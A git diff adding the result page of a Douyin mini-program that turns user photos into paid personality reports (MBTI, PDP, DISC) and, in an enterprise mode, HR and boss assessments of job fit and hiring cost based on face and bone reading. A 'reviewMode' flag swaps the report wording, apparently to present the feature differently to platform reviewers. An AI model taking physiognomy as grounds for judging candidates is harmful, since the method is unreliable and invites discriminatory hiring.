100644 index 0000000..6072749 --- /dev/null +++ b/douyin-miniprogram/pages/index/result.js @@ -0,0 +1,545 @@ +// pages/index/result.js - 分析结果页 +const app = getApp() +const payment = require('../../utils/payment') +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + isAnalyzing: true, + showResult: false, + hasError: false, + errorMessage: '', + noFaceError: false, + noFaceMessage: '', + progress: 0, + analyzingTip: '正在分析中...', + activeTab: 'face', // 'face' | 'bone' + // 报告付费信息 + payInfo: { + requiresPayment: false, // 是否需要付费才解锁完整报告 + isPaid: false, // 当前这次是否已解锁 + amountYuan: 0 // 人脸报告价格(元) + }, + result: { + mbti: '', + title: '', + summary: '', + pdp: '', + pdpAux: '', + pdpEmoji: '', + disc: '', + discAux: '', + traits: [], + faceAnalysisText: '', + boneAnalysisText: '', + careers: [], + relationship: '', + gallupTop3: [], + // 完整面相/骨相(object 才用,字符串走 *Text 字段) + faceAnalysis: null, + boneAnalysis: null, + // 企业版:职业画像、HR视角、老板视角、简历亮点 + portrait: null, + hrView: null, + bossView: null, + resumeHighlights: '' + }, + // 当前这次AI分析对应的测试记录ID(mbti_test_results.id) + testResultId: null, + // 支付后是否已经触发过一次“刷新完整报告”,避免重复刷新 + hasReloadedAfterPay: false, + // 是否已在本地拥有手机号(决定是否还需要弹出微信手机号授权) + hasPhone: false, + analyzingTitle: '正在分析中', + reportTitle: '分析报告', + aiAnalysisText: '分析', + reviewMode: true + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + + // 同步审核模式 + this.setData({ reviewMode: !!app.globalData.reviewMode }) + + // 加载文案配置(分析中提示、报告标题等) + const tc = app.globalData.textConfig + if (tc) { + this.setData({ + analyzingTitle: tc.analyzingTitle || '正在分析中', + reportTitle: tc.reportTitle || '分析报告', + aiAnalysisText: tc.aiAnalysisText || '分析' + }) + if (tc.reportTitle) tt.setNavigationBarTitle({ title: tc.reportTitle }) + } else { + app.getRuntimeConfig().then((cfg) => { + if (cfg && cfg.textConfig) { + app.globalData.textConfig = cfg.textConfig + const t = cfg.textConfig + this.setData({ + analyzingTitle: t.analyzingTitle || '正在分析中', + reportTitle: t.reportTitle || '分析报告', + aiAnalysisText: t.aiAnalysisText || '分析' + }) + if (t.reportTitle) tt.setNavigationBarTitle({ title: t.reportTitle }) + } + }).catch(() => {}) + } + + // 从历史记录进入:根据ID从后端读取数据库中的结果 + if (id && type === 'ai') { + const token = app.globalData.token || tt.getStorageSync('token') + const apiBase = app.globalData.apiBase + if (!token || !apiBase) { + tt.showToast({ title: '未登录,无法读取历史记录', icon: 'none' }) + setTimeout(() => tt.navigateBack(), 1500) + return + } + + tt.showLoading({ title: '加载历史记录...' }) + tt.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: { + 'Authorization': `Bearer ${token}` + }, + data: { id }, + success: (res) => { + tt.hideLoading() + if (res.statusCode === 200 && res.data && res.data.data) { + const payload = res.data.data + const apiData = payload.data || payload + // 历史详情场景下,记录当前测试记录ID + this.setData({ testResultId: id }) + this.processResult(apiData) + // 从历史进入:金额与是否需付款以 test_results 的 paidAmount/needPaymentToUnlock 为准 + this.initPayInfoFromRuntime( + !!payload.requiresPayment, + !!payload.isPaid, + payload + ) + } else { + tt.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + setTimeout(() => tt.navigateBack(), 1500) + } + }, + fail: () => { + tt.hideLoading() + tt.showToast({ title: '网络错误,加载失败', icon: 'none' }) + setTimeout(() => tt.navigateBack(), 1500) + } + }) + return + } + + // 正常从拍照流程进入:调用 /api/analyze + this.startAnalysis() + }, + + onShow() { + if (!ensureProfileCompleteAndRedirect()) return + this.setData({ hasPhone: hasPhone() }) + const tc = app.globalData.textConfig + if (tc) { + this.setData({ + analyzingTitle: tc.analyzingTitle || '正在分析中', + reportTitle: tc.reportTitle || '分析报告', + aiAnalysisText: tc.aiAnalysisText || '分析' + }) + } + }, + + // 面相/骨相 Tab 切换 + switchAnalysisTab(e) { + this.setData({ activeTab: e.currentTarget.dataset.tab }) + }, + + // 调用后端AI分析API(aiPhotos 应为上传后的 URL 数组,由拍照页上传后写入) + startAnalysis() { + let photos = tt.getStorageSync('aiPhotos') || [] + if (!Array.isArray(photos)) photos = [] + const isUrls = photos.length > 0 && photos.every(p => typeof p === 'string' && (p.startsWith('http://') || p.startsWith('https://'))) + if (!isUrls || photos.length === 0) { + this.setData({ progress: 100 }) + setTimeout(() => { + tt.showToast({ title: '请先完成拍照并上传', icon: 'none' }) + tt.navigateBack({ delta: 1 }) + }, 300) + return + } + const tips = [ + '正在分析数据...', + '匹配性格特征...', + '综合评估中...', + '匹配MBTI/PDP/DISC...', + '生成综合报告...' + ] + let progress = 0 + let tipIndex = 0 + + // 进度动画 + const timer = setInterval(() => { + progress += 3 + if (progress > 95) progress = 95 + if (progress > (tipIndex + 1) * 18 && tipIndex < tips.length - 1) tipIndex++ + this.setData({ progress: Math.floor(progress), analyzingTip: tips[tipIndex] }) + }, 200) + + // 调用后端API:appScope='enterprise' 时才传 enterpriseId,个人版不传 + const userInfo = app.globalData.userInfo || tt.getStorageSync('userInfo') || {} + const scope = (app.globalData && app.globalData.appScope) || 'personal' + const enterpriseId = scope === 'enterprise' + ? (app.globalData.enterpriseIdFromScene || userInfo.enterpriseId || null) + : null + tt.request({ + url: `${app.globalData.apiBase}/api/analyze`, + method: 'POST', + header: { + 'Content-Type': 'application/json', + 'Authorization': `Bearer ${tt.getStorageSync('token') || ''}` + }, + data: { + photoUrls: photos, + userId: app.globalData.openId || '', + ...(enterpriseId ? { enterpriseId: Number(enterpriseId) } : {}) + }, + success: (res) => { + clearInterval(timer) + + if (res.statusCode === 200 && res.data) { + const bodyCode = res.data.code + // 后端 error() 始终返回 HTTP 200,业务错误码放在 data.code 中 + if (bodyCode === 422) { + // AI 未检测到人脸 + const msg = res.data.message || '图片中未检测到人脸,请确保拍摄时面部清晰可见' + this.setData({ progress: 100 }) + setTimeout(() => this.showNoFaceError(msg), 300) + } else if (bodyCode === 200) { + const apiData = res.data.data || res.data + this.setData({ progress: 100, analyzingTip: '分析完成!' }) + setTimeout(() => { + this.processResult(apiData) + }, 500) + } else { + console.error('API返回错误:', res) + this.setData({ progress: 100 }) + const msg = (res.data && (res.data.message || res.data.msg)) || '分析失败,请稍后重试' + setTimeout(() => this.showAnalyzeError(msg), 300) + } + } else { + console.error('API返回错误:', res) + this.setData({ progress: 100 }) + setTimeout(() => this.showAnalyzeError('分析失败,请稍后重试'), 300) + } + }, + fail: (err) => { + clearInterval(timer) + console.error('API调用失败:', err) + this.setData({ progress: 100 }) + setTimeout(() => this.showAnalyzeError('网络异常,请检查网络后重试'), 300) + } + }) + }, + + // 处理API返回结果 + processResult(apiData) { + const result = { + mbti: apiData.mbti?.type || '', + title: apiData.mbti?.title || '', + summary: apiData.personalitySummary || apiData.overview || '', + pdp: apiData.pdp?.primary || '', + pdpAux: apiData.pdp?.secondary || '', + pdpEmoji: this.getPDPEmoji(apiData.pdp?.primary), + disc: apiData.disc?.primary || '', + discAux: apiData.disc?.secondary || '', + traits: Array.isArray(apiData.advantages) ? apiData.advantages : [], + faceAnalysisText: typeof apiData.faceAnalysis === 'string' ? apiData.faceAnalysis : '', + boneAnalysisText: typeof apiData.boneAnalysis === 'string' ? apiData.boneAnalysis : '', + careers: Array.isArray(apiData.careers) ? apiData.careers : [], + relationship: apiData.relationship || '', + gallupTop3: Array.isArray(apiData.gallupTop3) ? apiData.gallupTop3 : [], + faceAnalysis: null, + boneAnalysis: null, + portrait: apiData.portrait || null, + hrView: apiData.hrView || null, + bossView: apiData.bossView || null, + resumeHighlights: apiData.resumeHighlights || '', + timestamp: Date.now() + } + + tt.setStorageSync('aiResult', result) + if (app.globalData) app.globalData.aiResult = result + // 测试记录已由 /api/analyze 顺带写入,无需再调 /api/test/submit + + const updates = { + isAnalyzing: false, + showResult: true, + hasError: false, + result + } + + // 记录本次测试记录ID(由 /api/analyze 返回) + if (apiData && apiData._testResultId) { + updates.testResultId = apiData._testResultId + } + + this.setData(updates) + + // 优先使用后端 /api/analyze 返回的价格信息,避免二次请求 + if (apiData._payment) { + const p = apiData._payment || {} + this.setData({ + payInfo: { + requiresPayment: !!p.requiresPayment, + isPaid: false, + amountYuan: typeof p.amountYuan === 'number' + ? p.amountYuan + : (p.amountFen ? (p.amountFen / 100) : 0) + } + }) + } + // 无 _payment 时(如从历史详情进入)不在这里调 initPayInfoFromRuntime,避免异步 getRuntimeConfig 后覆盖详情接口返回的 needPaymentToUnlock;由调用方用 detail 的 payload 单独设置 payInfo + }, + + + // PDP类型对应emoji + getPDPEmoji(type) { + const map = { + '老虎': '🐅', '孔雀': '🦚', '无尾熊': '🐨', '考拉': '🐨', + '猫头鹰': '🦉', '变色龙': '🦎' + } + return map[type] || '🐅' + }, + + /** + * 初始化付费信息:结合运行配置 + 可选的数据库记录状态 + * @param {boolean|null} recordRequires 是否从记录中读到需要付费(可为空) + * @param {boolean} recordIsPaid 记录是否已付费 + */ + initPayInfoFromRuntime(recordRequires = null, recordIsPaid = false, detailPayload = null) { + // 从历史/详情进入:优先用 test_results 的 paidAmount,需付款但金额为0 则直接可查看 + if (detailPayload && (detailPayload.paidAmount != null || detailPayload.amountYuan != null || detailPayload.needPaymentToUnlock != null)) { + const paidAmount = Number(detailPayload.paidAmount ?? 0) + const amountYuan = detailPayload.amountYuan != null ? Number(detailPayload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPay = detailPayload.needPaymentToUnlock === true || (!!detailPayload.requiresPayment && !detailPayload.isPaid && paidAmount > 0) + this.setData({ + payInfo: { + requiresPayment: needPay, + isPaid: !!detailPayload.isPaid, + amountYuan: needPay ? amountYuan : 0 + } + }) + return + } + app.getRuntimeConfig() + .then((cfg) => { + const pricing = cfg.pricing || {} + const reportRequires = cfg.reportRequiresPayment || {} + const facePriceRaw = pricing.face + const facePrice = typeof facePriceRaw === 'number' + ? facePriceRaw + : Number(facePriceRaw || 0) + + const requiresByConfig = !!(reportRequires && reportRequires.face) + const requiresPayment = + typeof recordRequires === 'boolean' ? recordRequires : requiresByConfig + // 系统设置需付款但金额为0 则直接可查看,不展示付费墙 + const needPay = requiresPayment && facePrice > 0 + const amountYuan = facePrice > 0 ? facePrice : 0 + + this.setData({ + payInfo: { + requiresPayment: needPay, + isPaid: !!recordIsPaid, + amountYuan + } + }) + }) + .catch(() => { + this.setData({ + payInfo: { + requiresPayment: false, + isPaid: !!recordIsPaid, + amountYuan: 0 + } + }) + }) + }, + + // 解锁完整报告:发起人脸测试付费 + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) { + return + } + + app.ensureLogin().then((logged) => { + if (!logged) { + tt.showToast({ title: '请先登录后再解锁', icon: 'none' }) + return + } + payment.purchaseFaceTest({ + testResultId, + success: () => { + tt.showToast({ title: '已解锁完整报告', icon: 'success' }) + + // 本地先标记已付费,避免按钮仍然提示“需要解锁” + this.setData({ + 'payInfo.isPaid': true + }) + + // 避免重复触发刷新:只在还没刷新的情况下,延迟 0.5s 拉一次详情 + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => { + this.reloadFullDetail(testResultId) + }, 500) + } + }, + fail: () => { + // 支付失败或取消,这里不做额外处理 + } + }) + }) + }, + + // AI结果页付费按钮:就地触发微信手机号授权,然后调用 unlockFullReport + onGetPhoneNumberForFacePay(e) { + if (!ensureProfileCompleteAndRedirect()) return + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + if (!hasPhone()) { + tt.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + this.unlockFullReport() + return + } + if (!code) { + if (hasPhone()) { + this.unlockFullReport() + } else { + tt.showToast({ title: '获取手机号失败', icon: 'none' }) + } + return + } + bindPhoneByCode(code) + .then(() => { + this.setData({ hasPhone: true }) + this.unlockFullReport() + }) + .catch(() => { + // 保持在当前页,等待用户重新点击 + }) + }, + + // 解锁成功后,根据测试记录ID重新拉取完整详情 + reloadFullDetail(id) { + if (!id) return + + const app = getApp() + const apiBase = app.globalData?.apiBase || '' + + tt.showLoading({ title: '加载完整报告...' }) + tt.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: { + 'Authorization': app.globalData?.token ? `Bearer ${app.globalData.token}` : '' + }, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.data) { + const payload = res.data.data + const apiData = payload.data || payload + + // 详情接口在后台会根据 isPaid 返回完整结构,这里直接复用已有处理逻辑 + this.processResult(apiData) + + // 同步数据库中的付费状态与金额(test_results.paidAmount) + const recordRequires = + typeof payload.requiresPayment === 'boolean' || typeof payload.requiresPayment === 'number' + ? !!payload.requiresPayment + : null + const recordIsPaid = !!payload.isPaid + this.initPayInfoFromRuntime(recordRequires, recordIsPaid, payload) + } else { + console.error('刷新完整报告失败', res) + } + }, + fail: (err) => { + console.error('请求完整报告失败', err) + }, + complete: () => { + tt.hideLoading() + } + }) + }, + + // 无人脸错误:显示提示并提供重新拍摄入口 + showNoFaceError(message) { + this.setData({ + isAnalyzing: false, + showResult: false, + noFaceError: true, + noFaceMessage: message || '图片中未检测到人脸,请重新拍摄清晰的正面照片' + }) + }, + + // 分析失败:不使用任何本地模拟数据 + showAnalyzeError(message) { + this.setData({ + isAnalyzing: false, + showResult: true, + hasError: true, + errorMessage: message || '分析失败,请稍后重试' + }) + }, + + // 跳转到详情性格测试选择页(MBTI / PDP / DISC 三选一) + goToMBTI() { + tt.navigateTo({ url: '/pages/test-select/index' }) + }, + + shareResult() { + tt.showShareMenu({ withShareTicket: true, menus: ['shareAppMessage'] }) + }, + + retake() { + // camera 是 tabBar 页面,必须用 switchTab + tt.switchTab({ url: '/pages/index/camera' }) + }, + + goHome() { + // 根据当前 scope 跳对应首页 + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + tt.navigateTo({ url: '/pages/enterprise/index' }) + } else { + tt.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const r = this.data.result + const rm = this.data.reviewMode + const t = rm ? '测试结果' : (this.data.aiAnalysisText || '分析') + const { getSharePathByScope } = require('../../utils/share') + return { + title: `${t}:我是${r?.mbti} ${r?.pdpEmoji}${r?.pdp}型,来测测你的!`, + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const r = this.data.result + const rm = this.data.reviewMode + const t = rm ? '测试结果' : (this.data.aiAnalysisText || '分析') + const { buildShareQuery } = require('../../utils/share') + return { + title: `${t}:我是${r?.mbti} ${r?.pdpEmoji}${r?.pdp}型,来测测你的!`, + query: buildShareQuery() + } + } +}) diff --git a/douyin-miniprogram/pages/index/result.json b/douyin-miniprogram/pages/index/result.json new file mode 100644 index 0000000..7b82fa3 --- /dev/null +++ b/douyin-miniprogram/pages/index/result.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "分析报告", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/index/result.ttml b/douyin-miniprogram/pages/index/result.ttml new file mode 100644 index 0000000..f2e614b --- /dev/null +++ b/douyin-miniprogram/pages/index/result.ttml @@ -0,0 +1,299 @@ + + + + + + + + + {{analyzingTitle || '正在分析中'}} + {{analyzingTip}} + + + + 这个过程可能需要30秒到1分钟,请耐心等待... + + + + + + + + 🚫 + + 未检测到人脸 + {{noFaceMessage}} + + 拍摄建议: + • 确保面部完整出现在画面中 + • 保持光线充足,避免逆光 + • 正对镜头,不要遮挡面部 + • 保持适当距离,不要过近或过远 + + + 重新拍摄 + + + + + + + + + + {{hasError ? '分析出现异常' : '分析完成,以下是您的个性化报告'}} + + + + + 错误信息 + {{errorMessage}} + + 重新分析 + + + + + + 性格类型分析 + + + + {{result.mbti}} + {{result.title}} + {{result.summary}} + + + + + + PDP主性格 + {{result.pdp || '--'}} + 辅助: {{result.pdpAux}} + + + DISC类型 + {{result.disc || '--'}}型 + 辅助: {{result.discAux}} + + + + + + 主要优势 + + + + {{item}} + + + + + + 下一步:详细性格测试 → + + + + + + 性格概述 + {{result.summary}} + + + + + 盖洛普前三大优势 + + + {{index + 1}} + {{item}} + + + + + + + + 完整版性格深度解析 + 解锁后将展示完整报告内容 + + + + + 一次性解锁本次{{reportTitle || '分析报告'}},永久保存在「历史记录」中 + + + + + + + + + + 面部特征分析 + + + {{item.label}}: + {{item.description}} + + + + + + 面相分析 + {{result.faceAnalysisText}} + + + + + + 骨相分析(《冰鉴》八骨) + + + 五行形相: + {{result.boneAnalysis.boneFormSummary.elementType}} + + + 骨肉关系: + {{result.boneAnalysis.boneFormSummary.boneFleshRelation}} + + + + + + 骨相分析(《冰鉴》八骨) + {{result.boneAnalysisText}} + + + + + 人际关系与团队合作 + {{result.relationship}} + + + + + 简历亮点 + {{result.resumeHighlights}} + + + + + 职业画像 + + 核心优势 + + {{item}} + + + + 潜在风险 + + {{item}} + + + + 工作风格 + {{result.portrait.workStyle}} + + + + + + HR视角 + + 岗位推荐 + + 最适合 + + {{item}} + + + + 不适合 + + {{item}} + + + + + 成长周期 + + + 入职适应 + {{result.hrView.lifecycle.onboarding}} + + + 试用期 + {{result.hrView.lifecycle.probation}} + + + 成长期 + {{result.hrView.lifecycle.growth}} + + + 留人因素 + {{result.hrView.lifecycle.retention}} + + + + + 绩效潜力 + 潜力:{{result.hrView.performance.potential}} + + 驱动因子: + {{result.hrView.performance.drivers.join('、')}} + + + + 团队适配 + {{result.hrView.teamFit.bestTeam || ''}} + 管理建议:{{result.hrView.teamFit.manageAdvice}} + + + + + + 老板视角 + {{result.bossView.headline}} + + + {{item.label}} + {{item.value}} + + + 用人成本预判:{{result.bossView.costInsight}} + + + + + + + + + 重新分析 + + + 返回首页 + + + + + diff --git a/douyin-miniprogram/pages/index/result.ttss b/douyin-miniprogram/pages/index/result.ttss new file mode 100644 index 0000000..2c76684 --- /dev/null +++ b/douyin-miniprogram/pages/index/result.ttss @@ -0,0 +1,1014 @@ +/* pages/index/result.wxss - AI分析结果(按旧版模板重构) */ +.container { + min-height: 100vh; + background-color: #f5f5f5; + padding: 0 24rpx 60rpx; +} + +/* ========== 分析中模态框 ========== */ +.analyzing-modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background-color: rgba(0, 0, 0, 0.7); + display: flex; + align-items: center; + justify-content: center; + z-index: 9999; +} + +.analyzing-content { + background-color: #fff; + border-radius: 24rpx; + padding: 80rpx 60rpx; + width: 560rpx; + display: flex; + flex-direction: column; + align-items: center; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.15); +} + +.analyzing-icon { + width: 120rpx; + height: 120rpx; + margin-bottom: 40rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.spinner { + width: 120rpx; + height: 120rpx; + border: 8rpx solid #e0e0e0; + border-top-color: #e63946; + border-radius: 50%; + animation: spin 1s linear infinite; +} + +@keyframes spin { + to { transform: rotate(360deg); } +} + +.analyzing-title { + font-size: 36rpx; + font-weight: 600; + color: #333; + margin-bottom: 16rpx; +} + +.analyzing-desc { + font-size: 28rpx; + color: #e63946; + margin-bottom: 24rpx; + text-align: center; + font-weight: 500; +} + +.analyzing-bar { + width: 400rpx; + height: 12rpx; + background: #e5e5e5; + border-radius: 6rpx; + overflow: hidden; + margin-bottom: 24rpx; +} + +.analyzing-bar-fill { + height: 100%; + background: linear-gradient(90deg, #e63946, #ff6b9d); + border-radius: 6rpx; + transition: width 0.3s ease; +} + +.analyzing-hint { + font-size: 24rpx; + color: #999; + text-align: center; + line-height: 1.6; +} + +/* ========== 状态横幅 ========== */ +.status-banner { + background: linear-gradient(135deg, #e8f5e9 0%, #f1f8e9 100%); + padding: 24rpx; + border-radius: 12rpx; + display: flex; + align-items: center; + margin: 24rpx 0; +} + +.status-dot { + width: 12rpx; + height: 12rpx; + background-color: #4caf50; + border-radius: 50%; + margin-right: 16rpx; +} + +.status-text { + font-size: 26rpx; + color: #2e7d32; +} + +.error-banner { + background: linear-gradient(135deg, #ffebee 0%, #ffcdd2 100%); +} + +.error-dot { + background-color: #f44336; +} + +.error-banner .status-text { + color: #c62828; + font-weight: bold; +} + +.error-content { + background-color: #fff; + border-radius: 16rpx; + padding: 32rpx; + margin-bottom: 24rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); + border-left: 4rpx solid #f44336; +} + +.error-title { + font-size: 28rpx; + color: #c62828; + font-weight: bold; + display: block; + margin-bottom: 16rpx; +} + +.error-message { + font-size: 24rpx; + color: #666; + line-height: 1.8; + display: block; + white-space: pre-wrap; + word-break: break-all; + background-color: #f5f5f5; + padding: 16rpx; + border-radius: 8rpx; + margin-bottom: 24rpx; +} + +.retry-btn { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + padding: 20rpx; + border-radius: 12rpx; + text-align: center; +} + +.retry-text { + font-size: 28rpx; + color: #fff; + font-weight: 500; +} + +/* ========== 通用卡片 ========== */ +.card { + background-color: #fff; + border-radius: 16rpx; + padding: 32rpx; + margin-bottom: 24rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); + word-wrap: break-word; +} + +.card-title { + font-size: 32rpx; + font-weight: 600; + color: #333; + display: block; + margin-bottom: 24rpx; +} + +.card-text { + font-size: 28rpx; + color: #666; + line-height: 1.8; + display: block; +} + +/* ========== 付费解锁毛玻璃区域 ========== */ +.paywall-card { + position: relative; + overflow: hidden; +} + +.paywall-content { + position: relative; +} + +.paywall-blur { + padding: 32rpx 24rpx 140rpx; + border-radius: 24rpx; + background: rgba(255, 255, 255, 0.7); + backdrop-filter: blur(18rpx); +} + +.paywall-mask { + position: absolute; + left: 0; + top: 0; + right: 0; + bottom: 0; + border-radius: 24rpx; + background: linear-gradient(180deg, rgba(255, 255, 255, 0.1), rgba(245, 245, 245, 0.98)); + pointer-events: none; +} + +.paywall-fake-title { + display: block; + font-size: 30rpx; + font-weight: 600; + color: #444; + margin-bottom: 16rpx; +} + +.paywall-fake-line { + display: block; + font-size: 26rpx; + color: #888; + line-height: 1.8; +} + +.paywall-btn { + position: absolute; + left: 5%; + right: 5%; + width: 90%; + bottom: 56rpx; + padding: 20rpx 0; + border-radius: 999rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.35); + display: flex; + flex-direction: row; + align-items: baseline; + justify-content: center; + gap: 12rpx; +} + +.paywall-btn-main { + font-size: 30rpx; + color: #fff; + font-weight: 600; +} + +.paywall-btn-price { + font-size: 24rpx; + color: #ffe5f0; +} + +.paywall-tip { + display: block; + margin-top: 8rpx; + font-size: 22rpx; + color: #999; + text-align: center; +} + +/* ========== 性格类型卡片 ========== */ +.personality-card { + text-align: center; +} + +.personality-type { + margin-bottom: 32rpx; +} + +.type-code { + font-size: 72rpx; + font-weight: 700; + color: #e63946; + display: block; + margin-bottom: 8rpx; +} + +.type-name { + font-size: 28rpx; + color: #666; + display: block; + margin-bottom: 16rpx; +} + +.type-desc { + font-size: 26rpx; + color: #888; + line-height: 1.6; + display: block; + text-align: center; + padding: 0 20rpx; +} + +.type-details { + display: flex; + gap: 24rpx; + margin-bottom: 24rpx; +} + +.type-box { + flex: 1; + padding: 24rpx; + border-radius: 12rpx; + text-align: center; +} + +.pdp-box { + background: linear-gradient(135deg, #faf5fc 0%, #f3e5f5 100%); +} + +.disc-box { + background: linear-gradient(135deg, #f5f9fd 0%, #e3f2fd 100%); +} + +.type-label { + font-size: 24rpx; + color: #666; + display: block; + margin-bottom: 8rpx; +} + +.type-value { + font-size: 30rpx; + font-weight: 600; + display: block; + margin-bottom: 4rpx; +} + +.pdp-box .type-value { color: #7b1fa2; } +.disc-box .type-value { color: #1976d2; } + +.type-sub { + font-size: 22rpx; + color: #999; + display: block; +} + +/* 主要优势 */ +.advantages-box { + background: linear-gradient(135deg, #e8f5e9 0%, #c8e6c9 100%); + padding: 24rpx; + border-radius: 12rpx; + margin-bottom: 24rpx; +} + +.advantages-label { + font-size: 26rpx; + color: #666; + display: block; + text-align: center; + margin-bottom: 16rpx; +} + +.advantages-list { + display: flex; + justify-content: space-around; + flex-wrap: wrap; + gap: 16rpx; +} + +.advantage-item { + display: flex; + flex-direction: column; + align-items: center; +} + +.advantage-dot { + width: 12rpx; + height: 12rpx; + background-color: #4caf50; + border-radius: 50%; + margin-bottom: 8rpx; +} + +.advantage-text { + font-size: 24rpx; + font-weight: 500; + color: #333; +} + +.next-btn { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + padding: 24rpx; + border-radius: 48rpx; + box-shadow: 0 8rpx 16rpx rgba(230, 57, 70, 0.3); +} + +.next-btn-text { + font-size: 28rpx; + font-weight: 600; + color: #fff; + display: block; + text-align: center; +} + +/* ========== Tab切换 ========== */ +.tabs { + display: flex; + border-bottom: 2rpx solid #f0f0f0; + margin-bottom: 24rpx; + background-color: #fff; + border-radius: 16rpx 16rpx 0 0; +} + +.tab { + flex: 1; + padding: 24rpx; + text-align: center; + position: relative; +} + +.tab.active::after { + content: ""; + position: absolute; + bottom: 0; + left: 50%; + transform: translateX(-50%); + width: 60rpx; + height: 4rpx; + background-color: #e63946; + border-radius: 2rpx; +} + +.tab-text { + font-size: 28rpx; + color: #999; +} + +.tab-text.active { + color: #e63946; + font-weight: 600; +} + +/* ========== 面相分析 ========== */ +.feature-list { + display: flex; + flex-direction: column; + gap: 20rpx; +} + +.feature-item { + display: flex; + font-size: 26rpx; + line-height: 1.8; +} + +.feature-label { + font-weight: 600; + color: #333; + flex-shrink: 0; +} + +.feature-desc { + color: #666; + flex: 1; +} + +/* 职业建议 */ +.career-list { + display: flex; + flex-direction: column; + gap: 24rpx; +} + +.career-item { + display: flex; + flex-direction: column; + gap: 8rpx; +} + +.career-header { + display: flex; + align-items: center; +} + +.career-dot { + width: 12rpx; + height: 12rpx; + background-color: #e63946; + border-radius: 50%; + margin-right: 16rpx; + flex-shrink: 0; +} + +.career-name { + font-size: 28rpx; + font-weight: 600; + color: #333; +} + +.career-reason { + font-size: 24rpx; + color: #666; + line-height: 1.6; + padding-left: 28rpx; +} + +/* 人际关系 */ +.interpersonal-content { + display: flex; + flex-direction: column; + gap: 20rpx; +} + +.interpersonal-item { + display: flex; + font-size: 26rpx; + line-height: 1.8; +} + +.interpersonal-label { + font-weight: 600; + color: #333; + flex-shrink: 0; +} + +.interpersonal-text { + color: #666; + flex: 1; +} + +/* 潜能 */ +.potential-list { + display: flex; + flex-direction: column; + gap: 20rpx; +} + +.potential-item { + display: flex; + flex-direction: column; + gap: 8rpx; +} + +.potential-name { + font-size: 28rpx; + font-weight: 600; + color: #333; +} + +.potential-desc { + font-size: 24rpx; + color: #666; + line-height: 1.6; + padding-left: 20rpx; +} + +/* ========== 骨相分析 ========== */ +.bone-content { + display: flex; + flex-direction: column; + gap: 20rpx; +} + +.bone-item { + display: flex; + font-size: 26rpx; + line-height: 1.8; +} + +.bone-label { + font-weight: 600; + color: #333; + flex-shrink: 0; + min-width: 120rpx; +} + +.bone-text { + color: #666; + flex: 1; +} + +/* 人生阶段 */ +.life-stage-list { + display: flex; + flex-direction: column; + gap: 24rpx; +} + +.life-stage-item { + background: linear-gradient(135deg, #fff9e6 0%, #fff3cd 100%); + padding: 20rpx; + border-radius: 12rpx; + border-left: 4rpx solid #ff9800; +} + +.stage-label { + font-size: 28rpx; + font-weight: 600; + color: #e65100; + display: block; + margin-bottom: 8rpx; +} + +.stage-desc { + font-size: 26rpx; + color: #666; + line-height: 1.8; + display: block; +} + +/* 骨相总评 */ +.bone-summary-content { + display: flex; + flex-direction: column; + gap: 24rpx; +} + +.summary-text { + font-size: 28rpx; + color: #333; + line-height: 1.8; + display: block; +} + +.suggestions-title { + font-size: 28rpx; + font-weight: 600; + color: #333; + margin-top: 8rpx; +} + +.suggestions-list { + display: flex; + flex-direction: column; + gap: 16rpx; + margin-top: 12rpx; +} + +.suggestion-item { + background: linear-gradient(135deg, #fce4ec 0%, #f8bbd0 100%); + padding: 16rpx 20rpx; + border-radius: 8rpx; +} + +.suggestion-text { + font-size: 26rpx; + color: #333; + line-height: 1.6; + display: block; +} + +/* ========== 简化版(无面相骨相数据) ========== */ +.simple-career-list { + display: flex; + flex-wrap: wrap; + gap: 16rpx; +} + +.simple-career-tag { + padding: 12rpx 24rpx; + background: #f3f4f6; + border-radius: 24rpx; + font-size: 26rpx; + color: #374151; +} + +/* AI 生成内容标识横幅(监管合规,始终显示) */ +.ai-disclosure-banner { + display: flex; + align-items: center; + justify-content: center; + gap: 12rpx; + margin: 24rpx 0; + padding: 16rpx 24rpx; + background: linear-gradient(135deg, #f0f4ff 0%, #e8ecf8 100%); + border: 1rpx solid #c7d2fe; + border-radius: 12rpx; +} + +.ai-disclosure-banner.bottom { + margin-top: 16rpx; + margin-bottom: 40rpx; +} + +.ai-disclosure-icon { + width: 44rpx; + height: 44rpx; + border-radius: 8rpx; + background: linear-gradient(135deg, #6366f1 0%, #818cf8 100%); + color: #fff; + font-size: 20rpx; + font-weight: 700; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.ai-disclosure-text { + font-size: 22rpx; + color: #4338ca; + line-height: 1.4; +} + +/* ========== 操作按钮 ========== */ +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100%!important; + height: 100rpx; + min-height: 100rpx; + border-radius: 28rpx; + margin-bottom: 